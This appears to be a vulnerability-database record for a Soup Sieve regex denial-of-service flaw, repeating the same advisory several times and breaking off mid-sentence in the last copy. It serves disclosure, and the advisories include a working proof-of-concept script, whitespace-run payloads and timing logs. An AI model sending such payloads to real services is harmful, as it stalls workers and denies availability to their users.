{"id":"CVE-2026-85999","aliases":["AZL-103322","DEBIAN-CVE-2026-85999","EUVD-2026-81690","GHSA-j934-xhv5-fg8f","PYSEC-2026-4171","SUSE-SU-2026:24267-1","SUSE-SU-2026:4365-1","SUSE-SU-2026:5164-1","UBUNTU-CVE-2026-85999","openSUSE-SU-2026:11866-1","openSUSE-SU-2026:22149-1"],"status":"published","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00609,"percentile":0.4967,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2026-09-17T15:23:37Z","modified":"2026-11-10T20:30:03Z","fixes":[{"ecosystem":"PyPI","package":"soupsieve","fixed_in":["2.9.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6-3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.2-1","2.4-1","2.4.1-1","2.4.1-2","2.5-1","2.6-1","2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3","2.8.4"]},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3","2.8.4"]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5-150600.3.6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.5-150200.3.6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9.2+dfsg-2ubuntu1","1.9.4+dfsg-1","1.9.5+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-2","2.3-1","2.3.1-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1-2","2.5-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-2","2.8.1-1","2.8.3-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.2-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.5.1"}]}],"bundled":2}],"products":[{"vendor":"facelessuser","product":"soupsieve"}],"references":[{"url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-j934-xhv5-fg8f","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85999.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-85999","tags":["advisory"]},{"url":"https://github.com/facelessuser/soupsieve","tags":["package"]},{"url":"https://pypi.org/project/soupsieve","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624267-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1281119","tags":["report"]},{"url":"https://bugzilla.suse.com/1281120","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-85999","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-86000","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264365-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265164-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-85999","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-85999","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-85999","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:23:37.457Z","modified":"2026-09-22T20:29:44.838Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:19:52.410665Z"}],"euvd":[{"id":"EUVD-2026-81690","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:23:37Z","modified":"2026-09-22T20:29:44Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T17:28:01.71506Z"}],"ghsa":[{"id":"GHSA-j934-xhv5-fg8f","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","status":"published","published":"2026-09-17T20:32:53Z","modified":"2026-09-17T20:32:55Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:41:18.357514Z"}],"nvd":[{"id":"CVE-2026-85999","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16.59Z","modified":"2026-09-23T18:12:04.247Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-85999","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T15:23:37.457Z","modified":"2026-11-10T20:42:19.450903263Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-10T21:13:26.339973Z"},{"id":"DEBIAN-CVE-2026-85999","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.","status":"published","published":"2026-09-17T16:18:16.59Z","modified":"2026-09-24T08:47:27.237078243Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:46:05.022702Z"},{"id":"GHSA-j934-xhv5-fg8f","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","status":"published","published":"2026-09-17T20:32:53Z","modified":"2026-10-01T17:56:03.541286563Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:50.336262Z"},{"id":"PYSEC-2026-4171","title":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","description":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — 